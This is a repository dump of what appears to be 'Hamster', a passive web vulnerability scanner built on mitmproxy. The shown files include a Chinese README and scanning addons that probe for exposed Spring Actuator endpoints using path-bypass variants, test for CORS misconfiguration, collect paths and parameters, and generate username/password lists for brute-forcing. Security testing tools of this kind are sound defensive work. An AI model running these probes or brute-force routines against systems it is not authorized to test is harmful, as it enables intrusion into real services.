├── .gitignore ├── README.md ├── addon ├── .gitignore ├── README.md ├── __init__.py ├── agent │ ├── __init__.py │ ├── actuator_file.py │ ├── collect_cors.py │ ├── collect_email.py │ ├── collect_jsonp.py │ ├── collect_packet.py │ ├── collect_packet_ws.py │ ├── collect_path_param.py │ ├── directory_list.py │ ├── druid_unauth.py │ ├── http_basic_auth_burst.py │ ├── http_put.py │ ├── log4j2_deserialization.py │ ├── log4j2_deserialization_ws.py │ ├── sensitive_information.py │ ├── sensitive_information_ws.py │ ├── shiro_deserialization.py │ ├── tomcat_file.py │ └── xray_adapter.py ├── common │ └── __init__.py ├── server │ ├── __init__.py │ ├── scan.py │ └── scan_ws.py ├── support │ └── __init__.py └── test │ └── __init__.py ├── agent.py ├── docker ├── Dockerfile ├── conf │ ├── hamster_env.conf │ └── online │ │ ├── hamster_agent.conf │ │ ├── hamster_basic.conf │ │ ├── hamster_manager.conf │ │ ├── hamster_server.conf │ │ ├── hamster_simple.conf │ │ └── hamster_support.conf ├── docker-compose.yml ├── restart.sh └── wait-for-it.sh ├── hamster.sh ├── init.py ├── lib ├── __init__.py ├── core │ ├── __init__.py │ ├── api.py │ ├── asyncpool.py │ ├── common.py │ ├── config.py │ ├── core.py │ ├── data.py │ ├── enums.py │ ├── env.py │ ├── g.py │ ├── log.py │ ├── model.py │ ├── mysql.py │ ├── rabbitmq.py │ └── redis.py ├── engine │ ├── __init__.py │ ├── agent │ │ ├── __init__.py │ │ └── vulagent.py │ ├── manager │ │ ├── __init__.py │ │ └── webmanager.py │ └── master │ │ ├── __init__.py │ │ ├── servermaster.py │ │ ├── simplemaster.py │ │ └── supportmaster.py ├── hander │ ├── __init__.py │ ├── api │ │ └── addonhander.py │ ├── basehander.py │ ├── indexhander.py │ └── manager │ │ ├── __init__.py │ │ ├── cache │ │ ├── __init__.py │ │ ├── cachehander.py │ │ ├── dnsloghander.py │ │ └── packethander.py │ │ ├── certhander.py │ │ ├── collect │ │ ├── __init__.py │ │ ├── corshander.py │ │ ├── emailhander.py │ │ ├── jsonphander.py │ │ ├── paramhander.py │ │ └── pathhander.py │ │ ├── setting │ │ ├── __init__.py │ │ ├── blackhander.py │ │ ├── filterhander.py │ │ ├── passwordhander.py │ │ ├── timehander.py │ │ ├── usernamehander.py │ │ └── whitehander.py │ │ ├── system │ │ ├── __init__.py │ │ ├── addonhander.py │ │ ├── enginehander.py │ │ ├── loghander.py │ │ └── userhander.py │ │ └── vulhander.py └── util │ ├── __init__.py │ ├── addonutil.py │ ├── aiohttputil.py │ ├── cipherutil.py │ ├── configutil.py │ ├── flowutil.py │ ├── interactshutil.py │ ├── util.py │ └── xrayutil.py ├── manager.py ├── poc └── xray │ └── pocs │ ├── apache-httpd-cve-2021-40438-ssrf.yml │ ├── bash-cve-2014-6271.yml │ ├── jetty-cve-2021-28164.yml │ ├── laravel-cve-2021-3129.yml │ ├── phpstudy-backdoor-rce.yml │ ├── spring-cloud-cve-2020-5410.yml │ ├── springcloud-cve-2019-3799.yml │ ├── thinkphp-v6-file-write.yml │ ├── thinkphp5-controller-rce.yml │ ├── thinkphp5023-method-rce.yml │ ├── tomcat-cve-2018-11759.yml │ ├── weblogic-cve-2019-2618.yml │ ├── weblogic-cve-2020-14750.yml │ └── weblogic-ssrf.yml ├── requirements.txt ├── server.py ├── show ├── burpsuite_proxy.png └── web.png ├── simple.py ├── static ├── css │ ├── bootstrap.min.css │ ├── bootstrap.min.css.map │ ├── buttons.bootstrap.min.css │ ├── cert.css │ ├── custom.min.css │ ├── dataTables.bootstrap.min.css │ ├── font-awesome.min.css │ └── jquery.dataTables.min.css ├── fonts │ ├── fontawesome-webfont.ttf │ ├── fontawesome-webfont.woff │ ├── fontawesome-webfont.woff2 │ └── responsive.bootstrap.min.css ├── img │ ├── favicon.ico │ ├── img.jpg │ ├── sort_asc.png │ └── sort_both.png └── js │ ├── bootstrap.bundle.min.js │ ├── bootstrap.bundle.min.js.map │ ├── bootstrap.min.js │ ├── bootstrap.min.js.map │ ├── buttons.bootstrap.min.js │ ├── custom.min.js │ ├── dataTables.bootstrap.min.js │ ├── dataTables.buttons.min.js │ ├── jquery.dataTables.min.js │ ├── jquery.min.js │ ├── popper.js │ ├── popper.min.js │ └── popper.min.js.map ├── support.py ├── template ├── layout.html ├── login.html └── manager │ ├── cache │ ├── cache.html │ ├── dnslog.html │ └── packet.html │ ├── cert.html │ ├── collect │ ├── cors.html │ ├── email.html │ ├── jsonp.html │ ├── param.html │ └── path.html │ ├── dashboard.html │ ├── profile.html │ ├── reset.html │ ├── setting │ ├── black.html │ ├── filter.html │ ├── password.html │ ├── time.html │ ├── username.html │ └── white.html │ ├── system │ ├── addon.html │ ├── engine.html │ ├── log.html │ └── user.html │ └── vulnerability.html └── test_addon ├── __init__.py ├── agent ├── __init__.py ├── test_agent_addon.py └── test_ws_agent_addon.py ├── common ├── __init__.py ├── test_sign.py └── test_waf.py ├── server ├── __init__.py ├── scan.py ├── scan_ws.py ├── test_server_cipher.py └── test_websocket.py └── support ├── __init__.py └── test_support_cipher.py /.gitignore: -------------------------------------------------------------------------------- 1 | # project 2 | .idea 3 | .git 4 | .DS_Store 5 | .gitignore 6 | 7 | # python project 8 | *.pyc 9 | __pycache__ 10 | 11 | # hamster project 12 | venv/ 13 | log/ 14 | conf/ 15 | dev/ 16 | tool/ 17 | addon/ 18 | 19 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 概述 2 | 3 | Hamster是基于mitmproxy开发的异步被动扫描框架,基于http代理进行被动扫描,主要功能为重写数据包、签名、漏洞扫描、敏感参数收集等功能(开发中)。 4 | 5 | [![Python 3.9](https://img.shields.io/badge/python-3.9-yellow.svg)](https://www.python.org/) 6 | [![Mysql 8.0](https://img.shields.io/badge/mysql-8.0-yellow.svg)](https://www.mysql.com/) 7 | [![RabbitMQ 3](https://img.shields.io/badge/rabbitmq->=3-blue.svg)](https://www.rabbitmq.com/) 8 | [![Redis 3](https://img.shields.io/badge/redis->=3-blue.svg)](https://redis.io/) 9 | 10 | # 模块 11 | 12 | 1. 漏洞扫描:`brower/burpsuite → server → rabbitmq ->agent → support → target ` 13 | 2. 渗透测试辅助:`brower/burpsuite → server → target` 14 | 15 | ## server: 16 | 1. 被动扫描代理端口 17 | 2. 管理控制台 18 | 3. 推送流量到agent进行扫描 19 | 4. 手工测试时进行签名、waf绕过。 20 | 21 | ## agent 22 | 1. 漏扫 23 | 2. 扫描的poc发送到supprt进行签名、waf绕过等 24 | 25 | ## supprt 26 | 1. 代理端口。 27 | 2. 给agent进行签名、waf绕过等。 28 | 3. 手工测试时进行签名、waf绕过。 29 | 30 | ## manager 31 | 1. 管理控制台 32 | 33 | # 安装 34 | 35 | ## 代码部署 36 | 37 | ``` 38 | # PIP安装依赖 39 | python3.9 -m venv venv 40 | source venv/bin/activate 41 | pip install -r requirements.txt 42 | 43 | # 如没有conf文件夹,则需要先生成配置文件,先运行一次init.py,生成相关配置文件(默认是dev环境) 44 | python init.py 45 | 46 | # 通过修改 conf/online/*.conf 配置mysql,redis,rabbitmq,dnslog等, 可查看配置说明 47 | vim conf/online/*.conf 48 | 49 | # 再一次运行,初始化数据库。 50 | python init.py 51 | 52 | # 运行server 53 | nohup python server.py & 54 | 55 | # 运行agent 56 | nohup python agent.py & 57 | 58 | # 运行support 59 | nohup python support.py & 60 | 61 | # 运行manager(可选) 62 | nohup python manager.py & 63 | ``` 64 | 65 | ## Docker部署 66 | 67 | ``` 68 | # 通过dockerfile文件部署 mysql,redis,rabbitmq 69 | cd docker 70 | 71 | # 通过修改 conf/online/*.conf 配置dnslog等, 可查看配置说明 72 | vim conf/online/*.conf 73 | 74 | # 开始部署docker 75 | docker-compose up -d 76 | ``` 77 | 78 | 79 | # 使用 80 | 81 | ## 设置代理 82 | 83 | 设置浏览器HTTP代理或者设置burpsuite二级代理`upstream proxy servers`, 代理认证请配置 `conf/online/hamster_basic.conf`. 84 | 85 | ![burpsuite_proxy](show/burpsuite_proxy.png) 86 | 87 | * host: localhost 88 | * port: 8000 89 | * authtype: basic 90 | * username: Hamster 91 | * password: Hamster@123 92 | 93 | ## 扫描 94 | 95 | 然后浏览器访问目标网站就可以进行漏洞扫描了。 96 | 97 | ## 查看扫描结果 98 | 99 | 可以随时通过访问控制台查看扫描结果(控制台有如下两种访问方式) 100 | 101 | 1. 通过server代理访问,http://admin.hamster.com/hamster/online/login 102 | 2. 通过manager直接访问,http://127.0.0.1:8002/hamster/online/login 103 | 104 | 访问凭据: 105 | 106 | * username: admin 107 | * password: Hamster@123 108 | 109 | ![web](show/web.png) 110 | 111 | # 配置说明 112 | 113 | 因为有不少漏洞需要配合DNSLOG,因此需要配置dnslog,本项目默认使用`oast.pro, oast.live, oast.site, oast.online, oast.fun, oast.me`项目接口,同时内置[DNSLog](https://github.com/orleven/Celestion)api接口,当然也可以使用其他dnslog,不过需要编写接口,相关代码在`/lib/core/api.py`中的`get_dnslog_recode`函数。 114 | 115 | 1. 通过修改 `conf/online/hamster_basic.conf` (第一次运行后生成) 配置mysql,redis,rabbitmq,dnslog,具体请看注释。 116 | 117 | 118 | # 插件编写 119 | 120 | 插件目录为`addon`,具体功能如下(addon本后续不再更新): 121 | 122 | 1. `addon/agent` agnet用, 主要存放扫描poc。 123 | 2. `addon/common` server、support共用,可用于给数据包waf、sign等。 124 | 3. `addon/server` server用,一般涉及数据包加解密时和supprt联用。 125 | 4. `addon/support` support用,一般涉及数据包加解密时和server联用。 126 | 127 | 同目录下addon按照字母顺序加载,如果脚本之间存在运行先后逻辑,请合理安排脚本文件名。 128 | 129 | PS: 参考插件模版目录`test_addon`即可。 130 | 131 | # 关于缓存日志查询 132 | 133 | 为了覆盖延迟型的SSRF、Log4j2等漏洞,对于此类数据包进行了缓存,缓存日志保存天数,默认2天,数据库缓存默认1天。 134 | 135 | 1. 如果dnslog告警了,请等待2分钟后,在漏洞中查看。 136 | 2. 如果短时间内触发多个dnslog,且漏洞仅更新了1个的话,这是因为这几个dnslog的触发原因是一样的,漏洞已做了去重处理,忽略就行。 137 | 3. 如果dnslog告警,且漏洞没有更新,表示这个漏洞是延迟触发的,且超过了数据库缓存天数,可以尝试在logs目录中查找,如果还是没找到,那就是说明延迟太久了,缓存已经没了。 138 | 139 | ``` 140 | find log/ -name "*" -print0 | xargs -0 grep -i -n "{dnslog}" 2>/dev/null 141 | ``` 142 | 143 | # mysql binlog文件过大问题 144 | 145 | 编辑 `my.cnf` 并在`[mysqld]`下添加`skip-log-bin`关闭binlog,并重启mysql即可。 146 | 147 | ``` 148 | set global binlog_expire_logs_seconds=10; 149 | set persist binlog_expire_logs_seconds=10; 150 | ``` 151 | 152 | # xray poc 兼容 153 | 154 | `poc/xray/pocs` 简单兼容了xray poc,目前这个模块写的比较糙,不建议放入全部poc。 155 | -------------------------------------------------------------------------------- /addon/.gitignore: -------------------------------------------------------------------------------- 1 | # project 2 | .idea 3 | .git 4 | .DS_Store 5 | 6 | # python project 7 | *.pyc 8 | __pycache__ 9 | 10 | bak/ -------------------------------------------------------------------------------- /addon/README.md: -------------------------------------------------------------------------------- 1 | # Hamster addon 2 | 3 | Hamster 的 addon脚本合集。 4 | 5 | # 安装 6 | 7 | 所有文件复制到Hamster的addon目录下即可。 8 | 9 | ``` 10 | rm -fr addon 11 | git clone https://github.com/orleven/addon 12 | ``` -------------------------------------------------------------------------------- /addon/agent/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | import asyncio 6 | from lib.core.g import log 7 | from lib.core.g import conf 8 | from lib.core.g import task_queue 9 | from addon import BaseAddon 10 | from lib.core.common import handle_flow 11 | 12 | class AgentAddon(BaseAddon): 13 | 14 | def __init__(self): 15 | BaseAddon.__init__(self) 16 | self.__hash_list = [] # simple 模式去重 17 | 18 | async def prove(self, flow): 19 | """预留函数, agent扫描使用""" 20 | 21 | 22 | async def handle_response(self, flow): 23 | """处理response函数""" 24 | 25 | async for flow_hash, flow_addon_list, flow_addon_type, flow in handle_flow(flow, self.__hash_list, [self.name]): 26 | if flow_addon_list is None or (flow_addon_list and self.name in flow_addon_list): 27 | if self.addon_type == flow_addon_type: 28 | log.info(f"Push packet to queue, flow_hash: {flow_hash}") 29 | await task_queue.put((flow_hash, flow, self)) 30 | 31 | def response(self, flow): 32 | """ 33 | simple 模式使用 34 | :param flow: 35 | :return: 36 | """ 37 | 38 | if self.is_scan_response(flow): 39 | asyncio.get_event_loop().create_task(self.handle_response(flow)) 40 | else: 41 | url = self.get_url(flow) 42 | if self.dnslog_top_domain not in url and conf.basic.listen_domain not in url: 43 | log.debug(f"Bypass scan response packet, url: {url}, addon: {self.addon_path}") 44 | 45 | def websocket_message(self, flow): 46 | """ 47 | simple 模式使用 48 | :param flow: 49 | :return: 50 | """ 51 | 52 | if self.is_scan_to_client(flow): 53 | asyncio.get_event_loop().create_task(self.handle_response(flow)) 54 | else: 55 | url = self.get_url(flow) 56 | if self.dnslog_top_domain not in url and conf.basic.listen_domain not in url: 57 | log.debug(f"Bypass scan websocket message packet, url: {url}, addon: {self.addon_path}") 58 | 59 | async def generate_username_dict(self): 60 | """ 61 | 生成爆破用户名字典 62 | :return: username 63 | """ 64 | 65 | dict_username = [x.get("value", "") for x in conf.scan.dict_username] 66 | for username in dict_username: 67 | yield username 68 | 69 | async def generate_password_dict(self): 70 | """ 71 | 生成爆破密码字典 72 | :return: password 73 | """ 74 | 75 | dict_password = [x.get("value", "") for x in conf.scan.dict_password] 76 | for password in dict_password: 77 | if '%user%' not in password: 78 | yield password 79 | 80 | async def generate_auth_dict(self): 81 | """ 82 | 生成爆破字典 83 | :return: username, password 84 | """ 85 | 86 | dict_username = [x.get("value", "") for x in conf.scan.dict_username] 87 | dict_password = [x.get("value", "") for x in conf.scan.dict_password] 88 | for username in dict_username: 89 | username = username.replace('\r', '').replace('\n', '').strip().rstrip() 90 | for password in dict_password: 91 | if '%user%' not in password: 92 | password = password 93 | else: 94 | password = password.replace("%user%", username) 95 | password = password.replace('\r', '').replace('\n', '').strip().rstrip() 96 | yield username, password 97 | 98 | # 首位大写也爆破下 99 | if len(password) > 2: 100 | password2 = password[0].upper() + password[1:] 101 | if password2 != password: 102 | yield username, password2 -------------------------------------------------------------------------------- /addon/agent/actuator_file.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from mitmproxy.http import HTTPFlow 6 | from lib.core.enums import AddonType 7 | from lib.core.enums import VulType 8 | from lib.core.enums import VulLevel 9 | from addon.agent import AgentAddon 10 | from lib.util.aiohttputil import ClientSession 11 | 12 | class Addon(AgentAddon): 13 | """ 14 | ActuratorFile 15 | """ 16 | 17 | def __init__(self): 18 | AgentAddon.__init__(self) 19 | self.name = 'ActuratorFile' 20 | self.addon_type = AddonType.DIR_ALL 21 | self.vul_name = "Actuator接口文件" 22 | self.level = VulLevel.MEDIUM 23 | self.vul_type = VulType.INFO_FILE 24 | self.description = "网站存在Actuator文件及接口,会泄露相关敏感信息。" 25 | self.scopen = "" 26 | self.impact = "1. 攻击者可以通过此类接口获取接口相关信息甚至获取服务器权限。" 27 | self.suggestions = "1. 对敏感文件进行访问权限控制或者删除处理。" 28 | self.scopen = "" 29 | self.mark = "" 30 | 31 | self.dir_list = [ 32 | "", 33 | "api/", 34 | "actuator/", 35 | ";/actuator/", 36 | "api/actuator/", 37 | "api/;/actuator/", 38 | "v3/", 39 | "v2/", 40 | "v1/", 41 | "web/", 42 | "swagger/", 43 | "gateway/actuator/", 44 | "..;/", 45 | "..;/v1/", 46 | "..;/v2/", 47 | "..;/actuator/", 48 | "%61%63%74uator/", 49 | "api/%61%63%74uator/", 50 | ] 51 | self.file_dic = { 52 | "actuator": "\"_links\":", 53 | "consul": "servicestags", 54 | "swagger-ui.html": 'swaggerui', 55 | "swagger.json": "\"swagger\"", 56 | "metrics": "\"names\"", 57 | "info": "\"names\"", 58 | "env": "spring", 59 | "routes": "\"route_", 60 | "mappings": "springframework", 61 | "loggers": "\"configuredLevel\":\"info\"", 62 | "hystrix.stream": "hystrixcommand", 63 | "auditevents": "\"events\":", 64 | "httptrace": "\"headers\":{", 65 | "features": "springframework", 66 | "caches": "cachemanagers", 67 | "beans": "springframework", 68 | "conditions": "springframework", 69 | "configprops": "spring", 70 | "threaddump": "springframework", 71 | "scheduledtasks": "\"cron\":", 72 | "api-docs": "\"swagger\"", 73 | "mappings.json": "{\"bean\":", 74 | "trace": "\"headers\":{", 75 | "dump": "threadname", 76 | "gateway/routes": "\"predicate\":", 77 | "gateway/globalfilters": "cloud.gateway.filter", 78 | "gateway/routefilters": "gatewayfilter", 79 | "nacos-discovery": "NacosDiscoveryProperties", 80 | "prometheus": "# HELP", 81 | } 82 | 83 | async def prove(self, flow: HTTPFlow): 84 | url_no_query = self.get_url_no_query(flow) 85 | method = self.get_method(flow) 86 | if method in ['GET']: 87 | if url_no_query[-1] == '/': 88 | async with ClientSession(self.addon_path) as session: 89 | headers = self.get_request_headers(flow) 90 | for dir_path in self.dir_list: 91 | for file_path, file_keyword in self.file_dic.items(): 92 | url = url_no_query + dir_path + file_path 93 | async with session.get(url=url, headers=headers, allow_redirects=False) as res: 94 | if res and res.status == 200: 95 | content_type = res.headers.get("Content-Type", "text/html") 96 | if "application/json" in content_type or "actuator" in content_type: 97 | text = await res.text() 98 | if text and file_keyword in text.lower(): 99 | detail = text 100 | await self.save_vul(res, detail) 101 | 102 | url = url_no_query + dir_path + "heapdump" 103 | async with session.head(url=url, headers=headers, allow_redirects=False) as res: 104 | if res and res.status == 200: 105 | if res.headers.get("Content-Type", "text/html") == "application/octet-stream" and res.content_length > 1024 * 1024 * 4: 106 | detail = "Content-Type: " + str(res.content_length) 107 | await self.save_vul(res, detail) 108 | -------------------------------------------------------------------------------- /addon/agent/collect_cors.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from mitmproxy.http import HTTPFlow 6 | from lib.core.enums import AddonType 7 | from lib.core.enums import VulType 8 | from lib.core.enums import VulLevel 9 | from addon.agent import AgentAddon 10 | from lib.core.g import cors_queue 11 | from lib.util.aiohttputil import ClientSession 12 | from lib.util.cipherutil import md5 13 | 14 | 15 | class Addon(AgentAddon): 16 | """ 17 | cors扫描 18 | """ 19 | 20 | def __init__(self): 21 | AgentAddon.__init__(self) 22 | self.name = 'CORS' 23 | self.addon_type = AddonType.HOST_ONCE 24 | self.vul_name = "CORS收集", 25 | self.level = VulLevel.INFO, 26 | self.vul_type = VulType.CORS, 27 | self.scopen = "" 28 | self.description = "CORS全称为Cross-Origin Resource Sharing即跨域资源共享,用于绕过SOP(同源策略)来实现跨域资源访问的一种技术。而CORS漏洞则是利用CORS技术窃取用户敏感数据。以往与CORS漏洞类似的JSONP劫持虽然已经出现了很多年,但由于部分厂商对此不够重视导致其仍在不断发展和扩散。" 29 | self.impact = "1. 黑客可通过钓鱼等手段窃取用户信息。" 30 | self.suggestions = "1. 严格校验Origin头,避免出现权限泄露。2. 不要配置Access-Control-Allow-Origin: null。3. HTTPS网站不要信任HTTP域。4. 不要信任全部自身子域,减少攻击面。5. 不要配置Origin:*和Credentials: true。 6. 增加Vary: Origin头。" 31 | self.mark = "" 32 | 33 | self.skip_scan_media_types = [ 34 | "image", "video", "audio" 35 | ] 36 | self.skip_collect_extensions = [ 37 | "js", "css", "ico", "png", "jpg", "video", "audio", "ttf", "jpeg", "gif", "woff", 38 | "map", 'woff2', 'bin', 'wav', 'md', "mp3", "vue", "jpeg" 39 | ] 40 | self.poc_domain = ".thisisatestdomain.com" 41 | self.poc_characters = '!@#$%^&*()_+~/*' 42 | 43 | def is_collect(self, flow): 44 | """ 45 | 是否跳过数据包,不进行捕获。 46 | """ 47 | 48 | method = self.get_method(flow) 49 | response_media_type = self.get_response_media_type(flow) 50 | ext = self.get_extension(flow) 51 | 52 | if method != "GET": 53 | return False 54 | 55 | if response_media_type in self.skip_scan_media_types: 56 | return False 57 | 58 | if ext in self.skip_collect_extensions: 59 | return False 60 | 61 | return True 62 | 63 | async def prove_cors(self, keyword, method, url, data, headers): 64 | async with ClientSession(self.addon_path) as session: 65 | async with session.request(method, url, data=data, headers=headers, allow_redirects=False) as res: 66 | if res: 67 | detail = res.headers.get('Access-Control-Allow-Origin', "") 68 | if detail != "" and detail == keyword: 69 | await self.save_cors(res) 70 | return True 71 | return False 72 | 73 | async def save_cors(self, packet): 74 | """保存cors信息""" 75 | 76 | cors = await self.parser_packet(packet) 77 | if cors: 78 | cors["md5"] = md5('|'.join([cors.get('method'), cors.get('url')])) 79 | await self.put_queue(cors, cors_queue) 80 | 81 | async def prove(self, flow: HTTPFlow): 82 | if self.is_collect(flow): 83 | url = self.get_url(flow) 84 | host = self.get_host(flow) 85 | scheme = self.get_scheme(flow) 86 | method = self.get_method(flow) 87 | request_headers = self.get_request_headers(flow) 88 | response_headers = self.get_response_headers(flow) 89 | data = self.get_request_content(flow) 90 | 91 | if "Access-Control-Allow-Origin" and "Access-Control-Allow-Credentials" in response_headers.keys(): 92 | test_headers = request_headers 93 | keyword = scheme + '://www' + self.poc_domain 94 | test_headers['Origin'] = keyword 95 | if not await self.prove_cors(keyword, method, url, data, test_headers): 96 | keyword = scheme + '://' + host + self.poc_domain 97 | test_headers['Origin'] = keyword 98 | if not await self.prove_cors(keyword, method, url, data, test_headers): 99 | for character in self.poc_characters: 100 | keyword = scheme + '://' + host + character + self.poc_domain 101 | test_headers['Origin'] = keyword 102 | await self.prove_cors(keyword, method, url, data, test_headers) 103 | -------------------------------------------------------------------------------- /addon/agent/collect_packet.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from mitmproxy.http import HTTPFlow 6 | from lib.core.enums import AddonType 7 | from lib.core.enums import VulType 8 | from lib.core.enums import VulLevel 9 | from addon.agent import AgentAddon 10 | from lib.core.g import packet_queue 11 | 12 | 13 | class Addon(AgentAddon): 14 | """ 15 | 记录数据包扫描的数据包,并存入数据库。 16 | """ 17 | 18 | def __init__(self): 19 | AgentAddon.__init__(self) 20 | self.name = 'CollectPacket' 21 | self.addon_type = AddonType.URL_ONCE 22 | self.vul_name = "数据包收集" 23 | self.level = VulLevel.NONE 24 | self.vul_type = VulType.NONE 25 | self.scopen = "" 26 | self.description = "将需要扫描的数据包进行记录。" 27 | self.impact = "" 28 | self.suggestions = "" 29 | self.mark = "" 30 | 31 | async def save_packet(self, packet): 32 | """保存扫描的数据包""" 33 | 34 | packet = await self.parser_packet(packet, more_detail_flag=True) 35 | if packet: 36 | await self.put_queue(packet, packet_queue) 37 | 38 | async def prove(self, flow: HTTPFlow): 39 | await self.save_packet(flow) 40 | -------------------------------------------------------------------------------- /addon/agent/collect_packet_ws.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from mitmproxy.http import HTTPFlow 6 | from lib.core.enums import AddonType 7 | from lib.core.enums import VulType 8 | from lib.core.enums import VulLevel 9 | from addon.agent import AgentAddon 10 | from lib.core.g import packet_queue 11 | 12 | 13 | class Addon(AgentAddon): 14 | """ 15 | 记录数据包扫描的数据包,并存入数据库。 16 | """ 17 | 18 | def __init__(self): 19 | AgentAddon.__init__(self) 20 | self.name = 'CollectPacketWS' 21 | self.addon_type = AddonType.WEBSOCKET_ONCE 22 | self.vul_name = "WS数据包收集" 23 | self.level = VulLevel.NONE 24 | self.vul_type = VulType.NONE 25 | self.scopen = "" 26 | self.description = "将需要扫描的WS数据包进行记录。" 27 | self.impact = "" 28 | self.suggestions = "" 29 | self.mark = "" 30 | 31 | async def save_packet(self, packet): 32 | """保存扫描的数据包""" 33 | 34 | packet = await self.parser_packet(packet, more_detail_flag=True) 35 | if packet: 36 | await self.put_queue(packet, packet_queue) 37 | 38 | async def prove(self, flow: HTTPFlow): 39 | await self.save_packet(flow) 40 | -------------------------------------------------------------------------------- /addon/agent/collect_path_param.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from mitmproxy.http import HTTPFlow 6 | from lib.core.enums import AddonType 7 | from lib.core.enums import VulType 8 | from lib.core.enums import VulLevel 9 | from lib.core.g import path_queue 10 | from lib.core.g import param_queue 11 | from lib.util.util import md5 12 | from addon.agent import AgentAddon 13 | 14 | 15 | class Addon(AgentAddon): 16 | """ 17 | 记录数据包中的目录路径参数名信息,并存入数据库。 18 | select *,count(*) as new_count from dir where host like '%' || ? GROUP BY dir ORDER BY new_count DESC 19 | """ 20 | 21 | def __init__(self): 22 | AgentAddon.__init__(self) 23 | self.name = 'CollectPathParam' 24 | self.addon_type = AddonType.URL_ONCE 25 | self.vul_name = "接口信息收集" 26 | self.level = VulLevel.NONE 27 | self.vul_type = VulType.NONE 28 | self.scopen = "" 29 | self.description = "将接口信息收集并进行记录。" 30 | self.impact = "" 31 | self.suggestions = "" 32 | self.mark = "" 33 | 34 | self.skip_collect_content_tpyes = [ 35 | "text/css", "application/javascript", "application/x-javascript", 36 | "application/msword", "application/vnd.ms-excel", "application/vnd.ms-powerpoint", 37 | "application/x-ms-wmd", "application/x-shockwave-flash", "image/x-cmu-raster", 38 | "image/x-ms-bmp", "image/x-portable-graymap", "image/x-portable-bitmap", "image/jpeg", 39 | "image/gif", "image/x-xwindowdump", "image/png", "image/vnd.microsoft.icon", 40 | "image/x-portable-pixmap", "image/x-xpixmap", "image/ief", "image/x-portable-anymap", 41 | "image/x-rgb", "image/x-xbitmap", "image/tiff", "video/mpeg", "video/x-sgi-movie", 42 | "video/mp4", "video/x-msvideo", "video/quicktim", "audio/mpeg", "audio/x-wav", 43 | "audio/x-aiff", "audio/basic", "audio/x-pn-realaudio", "application/font-woff" 44 | ] 45 | self.skip_collect_extensions = [ 46 | "js", "css", "ico", "png", "jpg", "video", "audio", "ttf", "jpeg", "gif", "woff", 47 | "map", 'woff2', 'bin', 'wav', 'md', "mp3", "vue", "jpeg" 48 | ] 49 | self.skip_scan_media_types = [ 50 | "image", "video", "audio" 51 | ] 52 | self.exclude_parameter = [ 53 | "_t", "t" 54 | ] 55 | 56 | def is_collect(self, flow): 57 | """ 58 | 是否跳过数据包,不进行捕获。 59 | """ 60 | 61 | extension = self.get_extension(flow) 62 | content_type = self.get_response_content_type(flow) 63 | 64 | if extension in self.skip_collect_extensions: 65 | return False 66 | 67 | if not content_type: 68 | return True 69 | 70 | if content_type in self.skip_collect_content_tpyes: 71 | return False 72 | 73 | http_mime_type = content_type.split('/')[:1] 74 | if http_mime_type: 75 | return False if http_mime_type[0] in self.skip_scan_media_types else True 76 | 77 | return True 78 | 79 | def is_collect_param(self, param): 80 | """ 81 | 是否跳过数据包,不进行捕获。 82 | """ 83 | 84 | if param in self.exclude_parameter: 85 | return False 86 | 87 | # 总有些路径中会有奇怪的参数名,不做记录 88 | if "http:" in param or "http://" in param or len(param) >= 32: 89 | return False 90 | 91 | return True 92 | 93 | async def save_path(self, packet): 94 | """保存路径信息""" 95 | 96 | if isinstance(packet, HTTPFlow): 97 | host = self.get_host(packet) 98 | port = self.get_port(packet) 99 | url_no_query = self.get_url_no_query(packet) 100 | path = self.get_path_no_query(packet) 101 | url = self.get_url(packet) 102 | path_file = self.get_path_file(packet) 103 | path_dir = self.get_path_dir(packet) 104 | _md5 = md5('|'.join([url_no_query])) 105 | path_dic = dict(md5=_md5, host=host, port=port, url=url, path=path, dir=path_dir, file=path_file) 106 | await self.put_queue(path_dic, path_queue) 107 | 108 | async def save_param(self, packet, param): 109 | """保存参数信息""" 110 | 111 | if isinstance(packet, HTTPFlow): 112 | host = self.get_host(packet) 113 | port = self.get_port(packet) 114 | path = self.get_path_no_query(packet) 115 | base_url = self.get_base_url(packet) 116 | url = self.get_url(packet) 117 | _md5 = md5('|'.join([base_url, param])) 118 | param_dic = dict(md5=_md5, host=host, port=port, url=url, path=path, param=param) 119 | await self.put_queue(param_dic, param_queue) 120 | 121 | async def prove(self, flow: HTTPFlow): 122 | if self.is_collect(flow): 123 | # 保存path 124 | await self.save_path(flow) 125 | for param in self.get_parameter_name_list(flow): 126 | if self.is_collect_param(param): 127 | # 保存param 128 | await self.save_param(flow, param) 129 | -------------------------------------------------------------------------------- /addon/agent/directory_list.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | import re 6 | from mitmproxy.http import HTTPFlow 7 | from lib.core.enums import AddonType 8 | from lib.core.enums import VulType 9 | from lib.core.enums import VulLevel 10 | from addon.agent import AgentAddon 11 | from lib.util.aiohttputil import ClientSession 12 | 13 | class Addon(AgentAddon): 14 | """ 15 | 敏感文件泄露扫描 16 | """ 17 | 18 | def __init__(self): 19 | AgentAddon.__init__(self) 20 | self.name = 'DirectoryList' 21 | self.addon_type = AddonType.DIR_ALL 22 | self.vul_name = "目录列表显示漏洞" 23 | self.level = VulLevel.LOWER 24 | self.vul_type = VulType.INFO 25 | self.description = "由于错误配置导致服务器存在目录列表显示问题。" 26 | self.scopen = "" 27 | self.impact = "1. 利用该漏洞,可以遍历当前目录所有文件信息。" 28 | self.suggestions = "1. 修改配置以解决此问题。" 29 | self.mark = "" 30 | 31 | async def prove(self, flow: HTTPFlow): 32 | url_no_query = self.get_url_no_query(flow) 33 | method = self.get_method(flow) 34 | if method in ['GET'] and url_no_query[-1] == '/': 35 | async with 